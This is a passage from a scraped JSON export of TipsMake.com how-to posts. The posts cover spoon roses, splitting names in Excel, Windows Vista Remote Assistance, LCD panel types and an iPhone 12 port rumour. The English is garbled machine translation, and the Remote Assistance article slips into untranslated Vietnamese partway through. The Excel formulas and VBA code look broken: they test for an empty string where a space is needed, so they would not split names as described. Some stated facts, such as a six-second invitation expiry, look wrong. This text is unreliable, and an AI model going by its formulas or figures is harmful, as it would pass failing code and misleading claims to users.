Make two plastic spoons like that to create petals that are still hatching inside the flower.\n  Step 2: Take the scissors to cut off the grip part (to not be around 5mm) and then use the gun to glue the two spoons together as shown. Put two staggered spoons together so that the flower looks soft. Or you can take advantage of as soon as the spoon is hot, the plastic is still not dry to attach them together.\n  After mounting, you put the bottom of the flower on the fire so that the plastic part of the spatula comes out and then press it straight to the surface so your flower can stand neatly.\nStep 3: In the upper part, when you put the plastic spoon down, it will bring the petals together, but in this part, you turn the plastic spoon up and down, then the steam will make the plastic flow out to make the petals spread out. .\n  You can use as many plastic spoons as you like, the more spoons, the more your roses spread brightly.\n  After the fire is finished, you can also use scissors to cut away the grip.\n  After that, use the plastic spatula to continue the first part of the spoon on the fire to create a natural soft curvature for the rose petals.\nStep 4:   Next, you use the glue gun to attach these petals to the inner flower buds that were made to create the complete rose.\n  Note:\nThe petals on the inside are still stuck in but the more the petals spread out, so you have to arrange a reasonable plastic spoon to look like a vivid flower. When putting plastic spoons on fire, you should leave enough distance for the heat to melt the plastic spoon, not too close to make the burnt spoon black and the smell smell.   You can spray pink, red or yellow paint to decorate the extra brilliant flower.\nSo, you have completed the unique and unique plastic rose from the spoon to give to your beloved women on Vietnamese Women's Day 20 - 10 and especially will be extremely meaningful when Give roses to your wife or lover.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kuqK3xGasrJ1dpLNuvMuaqq2hk2LAsbvOp6pmrJ9iuqK3xGaZnpmlqbanwctmqairlah6p7vRZq2inaSjrq6x0p5ksKedmru0ecOasGZqYGZ9\n","link":"/post/make-use-of-plastic-spoons-to-make-beautiful-roses-for-vietnamese-women-s-day-20-10/","section":"post","tags":null,"title":"Make use of plastic spoons to make beautiful roses for Vietnamese Women's Day 20-10"},{"body":" pdf buddy online | TipsMake.com    pdf buddy is a pdf editing website, such as adding content or adding a signature to a pdf file.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0minnZ5dl8KlsNhmpqekmaOyb7TTpqM%3D\n","link":"/post/pdf-buddy-online-tipsmake-com/","section":"post","tags":null,"title":"pdf buddy online | TipsMake.com"},{"body":"When entering the data, you have to enter the full name of everyone in the same box, but then you need to separate the middle name and middle name into two different cells to facilitate management. Excel supports you so you can separate first and last name without re-entering data.\nHere are three ways you can easily separate first and last names in Excel.\nMethod 1: Use functions Step 1: Create the First name column and First name column to store the content after separation. You can format as you like.\n  Step 2: Separate names from the First and Last names column into the First Name column :\nIn the first cell (E5) need to split the name you enter the function = RIGHT ( C5 ; LEN ( C5 ) -FIND (\"*\"; SUBSTITUTE ( C5 ; \"\"; \"*\"; LEN ( C5 ) -LEN (SUBSTITUTE ( C5 ; \"\"; \"\")))))) with C5 as the corresponding Full name cell .\n  Then you copy down the cell by moving the mouse pointer to the lower right corner of the cell and drag down to all the names in the separated list.\n  Step 3: Separating them from the column name into the column Name Buffer :\nIn the first cell to separate (D5), you enter the formula = LEFT ( C5 ; LEN ( C5 ) -LEN ( E5 ))\n- Where: C5 is the full name box; E5 is the split name box.\n  Then you copy down the other cells to separate the buffer family of the corresponding cells.\n  Method 2: Use the Replace dialog box Step 1: Create the First name column and the First name column to store the data after separation, next you copy the First name column to the Name column .\n  Step 2: Separate names in the Name column .\n- Select (black out) data in the Name column , in the Home tab you select Find \u0026amp; Select -\u0026gt; Replace (or Ctrl + H key combination ) to open the Find and Replace dialog box .\n  - In the Replace tab of the Find and Replace dialog box, enter * _ (_ is the space) in the Find what box . Then click Replace All to separate the names.\n  Once completed you will receive a small message from Microsoft Excel, click OK to complete. Your results will be as follows:\n  Step 3: Separating them in the column name in the column Name buffer .\nIn this step you do the same as Step 2 in Method 1 .\nMethod 3: Use VBA Step 1: In Excel file you need to separate first and last name, select Developer tab -\u0026gt; Visual Basic (or combination of Alt + F11 ) to open Microsoft Visual Basic window .\n  Step 2: Next, select Insert -\u0026gt; Module to open the code input window.\n  Step 3: Copy the code below and paste it into the code entry window you just opened.\nPrivate Function TACH (ten As String, lg As Integer) Dim j As Integer Name = Trim (ten) For j = Len (Name) To 1 Step -1 If Mid (Name, j, 1) = \"\" Then If lg = \"1\" Then TACH = Right (Name, Len (Name) - j) Else TACH = Left (Name, j) End If Exit For End If Next End Function\nStep 4: Save the code file by pressing Ctrl + S or clicking the Save icon , a dialog box appears informing you press Yes to save the file.\n  Step 5: Return to the Excel worksheet, first create more columns containing the First name Middle name and the First name column column after separating.\n  Step 6: Separate them and middle name : you put your cursor at a new cell in the column Name Buffer and enter the formula = TACH ( C5 ; 0) with C5 is complete box full name and press Enter .\n  With other middle names you do the same or copy down to the remaining cells, the result you will be able to separate all the middle names.\n  Step 7: Split the name : you put the cursor in the new cell in the First name column and enter the formula = TACH ( C5 ; 1) with C5 is the full name cell and press Enter .\n  With other names you do the same or copy down the remaining cells, the result you will separate all names.\n  So, with three ways of separating first and last name in Excel that the tutorial, you can easily perform separated first and last name. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKa8wKuYrZ1dm7azv9NmmKecXaGutMCMp5imnV2eu26x15ycpQ%3D%3D\n","link":"/post/separate-first-and-last-name-in-excel/","section":"post","tags":null,"title":"Separate first and last name in Excel"},{"body":"Remote Assistance (RA) in Windows Vista includes a number of improvements in connectivity, performance, usability and security, along with a number of other advanced features that will make it useful. more used in Windows XP. With Group Policy support, command line scripting capabilities, session logs, bandwidth optimization and a number of other things will make RA an essential tool for businesses to support users in drama. Help Desk version. Part 1 of this article will show you how RA works in Vista, how to use it to support users, how to manage it with Group Policy and how to script it.\nLearn about Remote Assistance \n  User support is an essential function of IT departments and Help Desk. However, the usual technical support provided on the phone system or 'chat' tools does not generally produce much efficiency. Therefore, supporting users is often time consuming and costly for large enterprises. For example, users often have difficulty describing the exact nature of the problem they are having. Because of the lack of experience and technical knowledge, users can try to describe their problem by non-technical, inaccurate language. Therefore, Help Desk is greatly reduced because it requires a series of simple questions to determine the problem that users are having. Doing many of these questions can sometimes cause a bad feeling for Help Desk, reduce the effectiveness of the experience they have, and sometimes make users tend to avoid contacting the team. Support when problems arise. Users are also often challenged by instructions from Help Desk while they are being supported. Well-trained support team members will try to avoid using technical terms when communicating with users, but although using explaining language can improve the support experience, it can cause takes a lot of time and is tired. For example, telling a user how to use Disk Cleanup from the System Tools system tools in Accessories may require more explanation than usual, this way of communication may take a long time for the situation. support, make them feel costly for the company. Remote Assistance (RA) helps you solve these problems by allowing support team members to view the user's desktop in real time. Users seeking assistance can demonstrate the nature of the problem for the support member. This will be faster and more efficient to exchange issues than using email. If necessary, users can also give members support access to acknowledge the shared control of the user's computer, thereby showing users how to solve problems easily. Therefore, Remote Assistance allows solving problems faster, improving the support experience and lowering the total cost of supporting users in a collaborative environment.\nRemote Assistance and Remote Desktop\nRemote Assistance and Remote Desktop are different features available in Windows Vista.Remote Desktop relies primarily on Microsoft terminal services and is a tool for remote login to remote computers.When you use Remote Desktop to connect to a remote computer, a new user session will be established.Remote Desktop can also establish sessions with a computer without an interactive session running (no users log on locally) like servers without a machine.\nRemote Assistance is a tool that helps troubleshoot problems for users on their computers. To use Remote Assistance, both users and helpers must be present on their computers. Unlike Remote Desktop, Remote Assistance does not create a new session, but instead allows the Helper to work in the user's existing session. The user's desktop is remote controlled by a helper, the helper can view the user's desktop with the user's consent, sharing control on the desktop. This is a completely different way to summarize the differences between these two features: In Remote Assistance, both the relevant user is searching at the same desktop using the same login information and can share permissions. control on that desktop;As for Remote Desktop, when the remote operator logs in, the logged-in user must log out.\nRA improvements in Windows Vista Windows Vista includes some new and advanced features of RA than in Windows XP:\nImprove connectivity by using Teredo and IPv6.\n Improved user interface, allowing easy launch and use.\n Independent executable file (msra.exe) applies command line arguments and can easily be scripted.\n Improve performance with faster startup and connection times, optimized bandwidth performance for screen upgrades.\n Improve security with passwords and mandatory integration with UAC (User Account Control).\n Offer RA new via IM (Instant Message) and an open API for integrating peer applications.\n Traditional Group Policy settings are improved to be easily managed.\n Remote Assistance in Vista does not have the following features already in XP:\nNot much support for MAILTO method of Remote Assistance Not much support for voice sessions. How Remote Assistance works \n In Remote Assistance, the person who needs help is defined as a user ( User (or Novice )) and the support person provides support to the user ( Helper (or Expert )). RA is launched from the Start menu by selecting All Programs, clicking Maintenance, and then selecting Windows Remote Assistance. You can also launch it from the command prompt by typing msra.exe . Remote Assistance has two basic operating modes: 1. Solicited RA . In Solicited RA (also known as Escalated RA) the user requests assistance from the Helper by initiating an RA session by email, IM or by providing the Helper with a copy of a saved file. (* .MsRcIncident). These methods use a different mechanism:\n- Solicited RA Using E-mail (Solicited RA using Email) This method requires that the email client is being used by a simple mail client application interface - User support Simple Mail Application Programming Interface (SMAPI). One of the examples of email clients that supports SMAPI is Windows Mail included in Windows Vista. Other examples are Microsoft Outlook and third-party clients. In this method, the user launches the RA user interface to create an email message with an RA file (* .MsRcIncident) attached to the message. The user must enter a password for the RA session, which must be communicated to the Helper with another method (OOB) such as dialing a telephone number to the Helper. When the Helper receives the user's RA invitation, they will open the attached card, enter the password that the user has given, and the RA session starts. The Helper must respond to an invitation from a user within a certain time limit (default is 6 seconds) or the invitation will expire and a new invitation will be needed. In a domain environment, this card's lifetime can also be configured with Group Policy, and we will show you how to manage Remote Assistance using Group Policy in the following articles. - Solicited RA Using File Transfer (Solicited RA uses File Transfer ) This method requires both users and helpers to access a shared directory (such as a shared network on a file server) or they use a number of other methods to transfer file information (for example, by using a USB key to transfer files or upload files to an FTP site). Users create an RA invitation file and save it in a shared folder. The user must provide a password, which is used to communicate with the helper using the same calling method. The Helper gets the card and must respond to the invitation within a specific time or the invitation will expire and must wait for the following invitation. (Time limit is configured in Group Policy). - Solicited RA Using Instant Messaging (Solicited RA with IM) This method requires IM applications that are being used by both users and helpers that support Microsoft's new Rendezvous API. Windows Live Messenger is an example of an IM application that supports Rendezvous (exchange). Windows Live Messenger is available online for download. In this method, the user requests assistance from someone on his buddy list. To make sure that the remote driver is actually a close friend of this user (not someone pretending to be a friend to trick you), Remote Assistance requires a password that is relayed from the user to the helper by Different ways (such as calling) before helpers can connect. To learn more about the Rendezvous API, you can see the Windows SDK on MSDN at http://windowssdk.msdn.microsoft.com/en-us/library/default.aspx. 2. Unsolicited RA . In Unsolicited RA (also known as Offer RA), helpers help users by initiating an RA session. - Offer RA using DCOM (Create RA using DCOM) This is a typical Help Desk scenario in which all users are in a domain. Helper enters the full name of the user (FQDN) or the computer's IP address to connect to the user's computer. This method requires the Helper to be authenticated with domain administrator rights to be able to provide RA to the user. This method also requires the Helper to know the name (server name on the local subnet; full name) or address (IPv4 or IPv6) of the user's computer. - Offer RA using Instant Messaging This method requires instant messaging (IM) applications used by both users and assistants that support Rendezvous API. In this method, the helper supports someone on his buddy list. If this person agrees, he must enter a password for the helper to use. The password must be transferred by another method to ensure that the remote person is actually a close friend of the user (to avoid being a fake person). For more details about the Rendezvous API, you can see the URL at http://windowssdk.msdn.microsoft.com/en-us/library/default.aspx.\nHow RA invitation files work\nRA invitation files (.MsRcIncident) are XML-formatted files that contain information used by the Helper's computer, the computer will make a connection.This card information is encrypted to prevent unauthorized users from accessing, using email or transferring files used to send invitations on unsecured networks.\nIf the email method is used to send the invitation file to the helper, the invitation file is sent as an email attachment with a file name of RATicket.MsRcIncident.If the file transfer method is used, the invitation file will be created by default on the desktop of the user's computer and the file name of this invitation file is Invitation.MsRcIncident.\nOperation status of RA \n Remote Assistance has the following three operating states: - Waiting For Connect (Waiting for connection) This status appears when:\nThe Helper has provided RA to the user but the user has not yet agreed to allow the Helper to connect to his computer.\n The user has sent an invite to the Helper but the Helper has not responded by opening it or opening the invitation file and the user has not yet agreed to allow the Helper to connect to his computer.\n In the state of waiting for the connection, the Helper cannot view or control the user's computer screen until an RA connection is established and both computers have entered the shared screen state. When the RA application is started and running in connection waiting state, the application will not be closed until another group responds and establishes a connection. For example, if the user uses the Solicit RA Using E-mail method and sends an invitation file to the Helper, the RA application opens on the user's computer and waits until the Helper accepts the invitation. If the user closes the RA on his computer before the Helper accepts the invitation, the Helper will not be able to connect to the user and the user needs to send a new invitation.\n- Screen Sharing This status appears when the user has agreed to allow the helper to connect to his computer - after the user has sent to the helper an invitation or support file. Help has provided RA to users. In the shared screen state, the RA session is set and the Helper can view but cannot control the screen of the user's computer. When the user is prompted to allow the Helper to connect to his computer, a message will appear on the user's computer, indicating that the Helper wants to connect to the computer. he. This message can be customized using Group Policy. - Control Sharing This status appears after the sharing screen state, when the Helper has requested control of the user's computer and the user has agreed to allow the Helper to control computer. In this mode, the Helper has the same access level for the computer the user has and the Helper can use his own mouse and keyboard to perform actions on the user's computer. Special:\nIf the user is a standard user on the computer, the Helper can only perform actions on the user's computer as a standard user.\n If the user is a local administrator on the computer, the Helper can perform actions on the user's computer as an administrator.\n For more detailed information about the level of control a Helper has on a user's computer, you can follow in the following articles.\nFunctions of users and helpers Once the RA connection has been established and both computers have entered the shared screen state, users and helpers can perform the tasks listed in the table below:\nDescribe the Helper User tasks\nChat\nYes Yes\nSend file\nYes Yes\nSave the session action record\nYes (default) Yes (default)\nConfigure bandwidth usage\nYes No\nStop (temporarily hidden screen)\nYes No\nRequest shared control\nNo Yes\nGive up control of sharing\nYes Yes\nCancel the connection\nYes Yes\nDisconnect with Esc key\nYes No Table 1: Tasks can be performed by the user and the assistant during an RA session\nRemote Assistance and NAT Traversal \n Remote Assistance works by setting up peer connections between the user's computer and the helper's computer. One difficulty in this connection is that it is very difficult to establish peer connectivity if one or both of these computers are behind the gateway or router that uses Network Address Translation (NAT). NAT is a routing technology described by RFC 1631, used to translate IP addresses and TCP / UDP port numbers in forwarded packets. NAT is typically used to map a set of private IP addresses to a public IP address (or to multiple public addresses). Home networks that are using wired or wireless routers also use this NAT technology. To overcome this difficulty, Vista was built with Teredo support, an IPv6 transition technique described in RFC 4380, which provides address assignment and automatic tunneling. for unicast IPv6 connection via IPv4 Internet. The NAT traversal capability provided by Teredo in Vista allows RA connectivity when one or both users in an RA session are hidden behind NAT. The perception of RA is transparent based on the user's perspective, regardless of which NAT is being used on the user's network. For most small businesses and home user environments, Vista's RA will seamlessly follow NAT-enabled routers without additional router configuration. Note: Providing RA by using DCOM is not always a Teredo script because business users are always behind the company's firewall and cannot be distinguished by NATs. RA will not connect in certain configurations. Special:\nTeredo cannot follow a symmetric NAT. RA can only connect through restricted NATs and cone NATs. In some cases, this is not an important limitation because most of the deployed NATs are restricted or conical.\n RA will not work if the NAT-enabled router is configured to block certain ports used by RA.\n RA will not work if the user's NAT-enabled router is configured to block all UDP traffic.\n Note : To determine the type of NAT that a network is using, open a command prompt and type netsh interface teredo show state. Remote Assistance and IP ports are used The ports used by the RA session depend on the session between Vista computers or between a Vista computer and an XP computer. Specifically:\nVista with Vista : Dynamic ports are located by the system in the TCP / UDP range 49152–65535  Vista with XP : 3389 TCP Port (local / remote)\n In addition, the Offer RA script via DCOM uses port 135 (TCP).\nRemote Assistance and Windows Firewall Windows Firewall is configured with a group exception for RA. The exception of this group has many attributes that are included as part of the RA exception. RA exception attributes will vary depending on the computer's network location (private, public, or domain). For example, the default RA exception when the computer is in public places will be more accurate when the computer is in its own location. In public points (such as airports), the RA exception is disabled by default, does not open Universal Plug-and-Play ports (UpnP) and the Simple Service Discovery Protocol (SSDP) traffic. In a private network (home network, for example) the RA exception will be enabled by default and the uPnP and SSDP traffic will be allowed. Table 2 summarizes the status of the RA firewall's access exceptions for each network location. However, the RA exception also has outbound properties, Windows Firewall is not configured by default to enable properties.\nNetwork location\nStatus of RA exception\nDefault properties of the RA exception\nPrivate network (family or workplace)\nActivated by default\nException Msra.exe application uPnP is enabled for communication with uPnP NATs Edge traversal is activated to support Teredo Public\nDisabled by default - must be enabled by administrator privileges\nException Msra.exe application Edge traversal is activated to support Teredo Domain\nDisabled by default - enabled by Group Policy\nException Msra.exe application Exception RAServer.exe application (RA COM server) DCOM port 135 uPnP is enabled for communication with uPnP NATs Table 2: Default state of the Remote Assistance Firewall input exception for each network location type\nIn the Windows Firewall profile, the default configuration of the RA exception is as follows:\n- Private profile Exception RA in Windows Firewall is enabled by default when the computer location is set to 'private.' It is configured with NAT traversal by using Teredo by default so that users in a private network environment (for example, a home environment) can get help from other users who may be on the same side. after NAT. Private files include appropriate exceptions needed for communication with uPnP NAT devices. If there is a uPnP NAT in this environment, the RA will use uPnP for NAT traversal. Offer RA via DCOM is not configured in this profile. - Public profile Exception RA is disabled by default and does not allow RA traffic. Windows Firewall is configured in this way by default to better protect users in public network environments (such as cafes or airports). When the RA exception is enabled, NAT traversal using Teredo is enabled. However, traffic to uPnP devices is not enabled and Offer RA via DCOM is not enabled. - Domain Profile . The RA exception when the computer is in a domain environment is relayed to the Offer RA script. This exception is disabled by default and enabled via Group Policy. Teredo is not enabled in this profile because the corporate network usually has a firewall to block Teredo UDP traffic. However, uPnP is enabled so that the NAT uPnP can communicate. Remote Assistance and Secure Desktop When the user agrees that the Helper can share control on his computer during an RA session, the user has the option to allow the Helper to respond to UAC prompts (Figure 1). . Typically, User Account Control (UAC) prompts appear on the Secure Desktop (the remote control component) and so the Helper cannot see or respond to Secure Desktop prompts. Secure Desktop mode is similar to the mode that users see when they log on to the computer or press the key combination (Ctrl + Alt + Delete). UAC prompts are displayed on the Secure Desktop instead of the user's normal desktop to protect them from malware threats. Users must follow UAC prompts to return to their regular desktop and continue working. This consent requires either clicking Continue (if the user is a local administrator on the computer) or by entering local administrative information (if he is a standard user).\n  Figure 1: Users have the option to allow helpers to respond to reminders UAC when the RA session is in the control sharing state.\nIt is also important to understand the Secure Desktop on a user's computer that is not remotely controlled. In other words, the helper can only respond to UAC reminders on the user's computer using the user's credentials. That means, if the user is a standard user on the computer while the helper is a local administrator on the user's computer, the helper can only have administrative rights on the user's computer. If the user gives him the necessary information.\nThe introduction of this limitation is necessary to ensure the security of Vista computers. The reason behind the decision to design this is that if the RA is designed to allow remote control helpers with user rights, the user may stop the RA session and so can take management information. local treatment from the helper. Logging of RA \n Remote Assistance can record sessions of RA-related actions. This session logging is enabled by default and includes time-stamped records to identify RA-related actions on each computer. Session logs include information about RA-related actions, such as who initiated the session, . These session logs do not have information about the current task that the user and the helper have actually done. show up during a session. For example, if the Helper receives sharing control, start an administrative command prompt and perform steps to reconfigure TCP / IP on the user's computer during an RA session, the logs session sẽ không có bản ghi của hành động này. Các bản ghi session gồm có cả các hành động chat được trao đổi trong suốt một session RA. Bản ghi đã tạo ra trong suốt một session cũng được hiển thị bên trong cửa sổ chat để cả người dùng và người trợ giúp có thể nhìn thấy những gì đã được ghi trong suốt session. Các bản ghi này cũng gồm có hành động trao đổi file xảy ra trong suốt session, và cũng ghi lại khi session bị dừng. Mục đích của việc ghi session RA  Các bản ghi session cho RA được dự định chính cho hoạt động kinh doanh yêu cầu duy trì các bản ghi hệ thống và hành động người dùng cho mục đích ghi chép. Chúng không được dự định để ghi các hành động được thực hiện bởi cá nhân trợ giúp khi các vấn đề khắc phục sự cố với máy tính của người dùng. Một môi trường điển hình trong việc ghi chép session là ở các ngân hàng, tại đây các tình huống tài chính bị yêu cầu bằng luật là phải giữ các bản ghi của những người đã truy cập vào máy tính và thời điểm nào. Vì ACL tên các bản ghi session này cho phép toàn quyền điều khiển của người dùng trên các bản ghi đã được lưu trên máy tính của chính họ, mặc định các bản ghi session được tạo ra trên cả máy tính của người dùng và người trợ giúp để người trợ giúp có thể bảo vệ và thực hiện chúng khi bị xáo trộn. Trong môi trường doanh nghiệp, Group Policy có thể được sử dụng để kích hoạt hoặc vô hiệu hóa việc ghi session. Nếu việc ghi chép này không được cấu hình bằng Group Policy, thì cả người dùng và người trợ giúp hoàn toàn vô hiệu hóa việc ghi chép session trên máy tính của chính họ. Đường dẫn bản ghi session và việc đặt tên thông thường Bản ghi session là các tài liệu XML để chúng có thể dễ dàng tích hợp vào các kiểu dữ liệu khác – ví dụ, bằng cách import chúng thành một cơ sở dữ liệu được quản lý bởi Microsoft SQL Server 2005. Tất cả các bản ghi session đều được lưu trong thư mục Documents của người dùng bên trong đường dẫn sau:\nUsers user_name DocumentsRemote Assistance Logs\nFile bản ghi session duy nhất này được tạo cho mỗi session RA trên máy tính. Các file bản ghi đã lưu bên trong thư mục này được định dạng XML và được đặt tên với đuôi thông thường YYYYMMDDHHMMSS.xml. Nội dung bên trong của một file bản ghi session điển hình được cho dưới đây:\nfe80::2856:e5b0:fc18:143b%10 jdow jdow: test jchen: ok   Windows Vista: Supporting users using Remote Assistance (Part 2)  Windows Vista: Supporting users using Remote Assistance (Part 3)\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWmnsC1rYysrKmon6fBbsHSnqmsZaSkera%2FxGapnqWfqbJurdKsoKyskaOwpg%3D%3D\n","link":"/post/support-users-to-use-remote-assistance/","section":"post","tags":null,"title":"Support users to use Remote Assistance"},{"body":"Up to now, the most commonly used screen panels are TN, IPS and VA. Certainly you've heard of these before, in the process of getting to buy a monitor and obviously, the type of panel is an important piece of information that reveals a lot about how monitors work.\nThe following is a brief overview, before the article focuses on the specific characteristics of each technology and how they work.\nTN , which stands for Twisted Nematic, is the oldest of all LCD technologies. This technology refers to the twisted nematic effect, which allows liquid crystal molecules to be controlled by voltage. Although the actual operation of the TN effect LCD is a bit more complicated, basically the TN effect is used to change the alignment of the liquid crystal when applying the voltage. Therefore, when there is no voltage, the crystal is 'turned off', the liquid crystal molecules are twisted 90 degrees and combined with polarized layers, allowing light to pass through. Then, when a voltage is applied, the crystals basically no longer twist and block the light.\n  VA , stands for Vertical Alignment . As its name suggests, the technology uses vertically arranged liquid crystals that tilt to the side when a voltage is applied so light can pass through. This is the main difference between IPS and VA. With VA, the crystals are perpendicular to the substrate, whereas with IPS, they are placed in parallel. There are several VA variants, including Samsung SVA and AU Optronics AMVA.\n  IPS stands for In-Plane Switching and, like all LCDs, it also uses voltage to control the alignment of liquid crystals. However, unlike TN, the IPS LCD screen uses a different crystal direction, in which the crystals are parallel to the glass substrate surface. Instead of 'twisting' the crystals to modify the amount of light passing through, the IPS crystals are basically rotated and this creates a lot of benefits.\nThere are many IPS variants on the market and the three major LCD manufacturers use different terms to describe their IPS technology. LG simply calls its technology IPS , very easy to understand for everyone. Samsung uses the term PLS (short for Plane-to-Line Switching ), while AU Optronics uses the term AHVA (short for Advanced Hyper Viewing Angle ). AHVA should not be confused with conventional VA screens. AHVA is a technology like IPS. LG's IPS, Samsung's PLS and AUO's AHVA will be a bit different, but the basic principles all come from IPS.\nIn short, the TN panels are twisted, the IPS uses parallel and rotating alignment, while the VA panels align vertically and tilt the crystals. Now let's dive into some performance characteristics and explore how each technology is different, as well as which is better by specific criteria.\nWhat are the differences between TN, VA and IPS technologies? View Brightness and contrast Color quality Color strip Refresh rate Response time View So far, the biggest difference between the three technologies is in perspective. TN panels have the worst viewing angle, with significant changes in color and contrast in both directions (especially vertical). Usually the viewing angle is rated as 170/160 but in fact, you will get changes in the direction of the bad when looking at any point, except for the front. High-class TN panels tend to be a bit better, but overall this is a major weakness of TN.\n    The VA and IPS panels are both significantly better, of which IPS is best for overall viewing. The 178/178 viewing angle rating is a realistic reflection of what you can expect with IPS. There is not much change in color or contrast from any angle. VA performed very well in this regard but not as well as IPS, mainly due to the change in contrast in the corners outside the center. With VA and especially TN, there are some color changes and contrast when viewed at the corners, they are not suitable for the professional work about color as important as IPS panels. That's why you see most professional-grade monitors use IPS.\n    Brightness and contrast In terms of brightness, there is no difference between these technologies because the backlight section determines the brightness, separate from the liquid crystal panel. However, there is a significant difference in contrast ratio, and this is what most people need to consider when determining what type of panel they need.\nBoth TN and IPS panels have a contrast ratio of about 1000: 1, although there were some differences in our testing. TN panels have the lowest contrast ratio when calibrated, ranging from 700: 1 to 900: 1 (with base panel) and up to 1000: 1 (with better panel type). IPS has a larger range, some panels have a low contrast ratio of 700: 1 like TN, however, the best ratio can push to higher levels than TN (1200: 1 for desktop and 1500 : 1 for some laptop screens).\n  Neither TN nor IPS have reached as wide a range as VA.\nBasic VA panels start with a 2000: 1 contrast ratio and the best level easily surpasses the 4500: 1 mark (typical ratio for most monitors is 3000: 1). The TV mainly uses VA panels and the contrast ratio may be even higher. It's not uncommon to see the contrast ratio set to more than 6000: 1. So if you want true dark areas and high contrast ratios, you'll need to choose a VA panel.\n  Although the IPS panels have a moderate contrast ratio, they experience IPS glow. It is the phenomenon of a clear white light appearing at an angle when viewing dark images. The best panels limit this exposure to a minimum, but this is still a problem on all screens.\nColor quality Color quality is another difference that many people notice between TN screens and other panels. Color quality can be divided into two criteria: color depth or bit depth and color gamut. In both criteria, the TN panels tend to fall into a weaker position. Many TN monitors, especially the basic models, are actually only 6-bit types and use FRC (Frame Rate Control) to achieve standard 8-bit output. 6-bit panels are prone to color banding (display of incorrect colors), while original 8-bit panels have a 'smoother' color gradient and therefore better color output.\nNot all TN panels are 6 bits. The most advanced TNs are the original 8-bit types, but most TN panels will be only 6-bit types, even for the moment. If you want the original 8-bit screen, you'll have to use IPS or VA, with more options.\n  Although there are still basic IPS and VA panels of the 6-bit category, most medium to high-end options are 8-bit.\nFor a 10-bit panel type, usually you will need to find an IPS panel. Some VA panels may own this parameter, but very rare. Most monitors you buy are 10-bit, but they're actually 8-bit + FRC, only professional-grade monitors offer the original 10-bit experience.\nColor strip This is another part where VA and IPS provide a superior experience. The best TN panels tend to be limited to sRGB or, in the case of the worst base panels, they don't even cover the whole sRGB range. TN panels with a wider color range also appear, but they are rare.\nVA panels usually start with the full sRGB range to a minimum and, depending on the model, this range may be wider. VAs use quantum dot film, typically from Samsung, which offers larger color gamut, about 125% sRGB or 90% DCI-P3. Most of the common VA monitors tested fall in the range of 85 to 90% DCI-P3. This is a good result, although the best level can reach 95% or higher.\n  IPS panels have the largest difference. Basic IPS displays tend to achieve 95% sRGB or lower, while most models fall within the full sRGB range. With high-end displays, often reserved for professionals, it's not uncommon to see the full DCI-P3 and Adobe RGB range appear. Of all tested IPS monitors with a wide color range, the lowest DCI-P3 range is 93% and 95% is the typical number. This makes IPS the best technology in terms of wide color gamut.\nRefresh rate Throughout most of this article, we talked about TN as the worst of the three options. Until now, TN has the ability to reproduce colors, contrast ratio and the worst viewing angle. But TN has a great advantage in speed. TN panels are the best option, both in terms of refresh rate and response time.\nCurrently, TN is the only panel type that can reach speeds of 240Hz at 1080p and currently 1440p. VA panels reach 200Hz for Ultrawide displays, however most 16: 9 models are limited to 165Hz. IPS panels also topped the list at 165Hz, although LG has the 240Hz option at 1080p.\n  Although IPS panels can refresh at 144Hz and above, the number of panels with high refresh rates is limited compared to both VA and TN. Almost every IPS screen, especially the advanced options for professionals, as well as the basic office monitor, is 60 or 75Hz. Meanwhile, a significantly larger number of VA panels, with a wide range of sizes and resolutions, will have high refresh rates. And the main advantage of TN is the super high refresh ability.\nResponse time Another key point to consider is the response time, which governs the overall level of ghosting, blur, and overall clarity of a background. IPS and VA panels initially had very slow response time, but this has been greatly improved on modern panels, so the difference between these three technologies is not as clear as before. With that said, TN still retains a huge advantage here.\nMost TN panels have a transition time of 1ms or even lower with some recently released options. The average time levels to convert from grayscale to gray are actually measured for TN panels that tend to be in the 2 - 3ms range. This makes TN the fastest technology in terms of response time.\n  IPS panels take second place in terms of speed, although the trend is similar to IPS, there is a big difference between the best and worst options of this type of panels.\nHigh-end IPS screens, typically those with high refresh rates, can have a transition time of 4ms. This makes IPS works better than the best TN panels. However, basic IPS panels or models without overdrive feature will be close to 10ms, while mid-range options tend to be between 5 and 7ms.\nVA panels are always the slowest of the 3 technologies. The fastest speeds measured are between 5 and 6ms, although typical numbers range from 8 to 10ms for gaming-grade monitors. VA panels also tend to be at least consistent in conversion. Some individual conversions can be very fast, while others are very slow.\nAlthough many people may not realize the difference between VA 8ms and 5ms IPS panels, at least this is more clearly shown in motion. The sluggish VA panels also limit their actual refresh rate: The 144Hz panel has a 9ms response time, which actually delivers an image equivalent to the 110Hz panel. While most 144Hz IPS panels can switch faster, resulting in a true 144Hz experience. So this is a point to consider.\nIn short, TN panels are fast options and have the highest refresh rate, but they have poor viewing angles, as well as weak color performance and lowest contrast ratio. TNs are commonly used for ultrafast gaming monitors, as well as affordable desktop and laptop screens.\n  IPS is a mid-range technology. They often have the best color performance and viewing angle, response time, refresh rate, along with black levels and average contrast ratio. Thanks to the most advanced color output, IPS panels are the right choice for professionals, but you'll also find them in basic displays, office monitors, most laptops and some Little gaming screen.\nVA panels are the slowest option among the 3 technologies, but have the best contrast ratio and black levels to date. Color performance is not decent, but they still provide a significantly better experience than TN.\nWith the response time for the best modern VA panels up to the level of conventional IPS, along with extensive support for high refresh rates, VA technology is commonly used for gaming monitors. Basic VAs also tend to outperform TN and IPS panels of the same level, although VA is not used in laptops.\n  There is no exact answer to which screen technology question is the best, because each option has its own strengths and weaknesses. That is why all three coexist on the market to this day. However, if you want to get a recommendation, VA panels seem to be an attractive option for most buyers, especially gamers and casual users. Creative experts should opt for an IPS display, while those who need a super-cheap or ultra-high refresh rate for gaming should choose TN.\nWish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nLnJtmqJGjsq15056aoaafobyotcSs\n","link":"/post/the-difference-between-lcd-panel-technologies/","section":"post","tags":null,"title":"The difference between LCD panel technologies"},{"body":"According to a reliable leak source, the iPhone 12 may not have a USB-C port, instead retaining the old lightning port. Earlier, there were reports that the iPhone 12 would be replacing the lightning port with USB-C, after Apple did that on iPad Pro models.\nThe iPhone 12 uses USB-C port can bring many benefits to users. It supports faster charging, and can use the same charger with iPad. Chargers using the USB-C connection are also becoming more and more popular.\n However, it seems that change will not happen this year. While it hasn't revealed why, according to the leak, Apple has no intention of using the USB-C port on the iPhone, even in later years.\nAccording to the source, the iPhone 2021, possibly called iPhone 13, will use the Smart Connector instead of 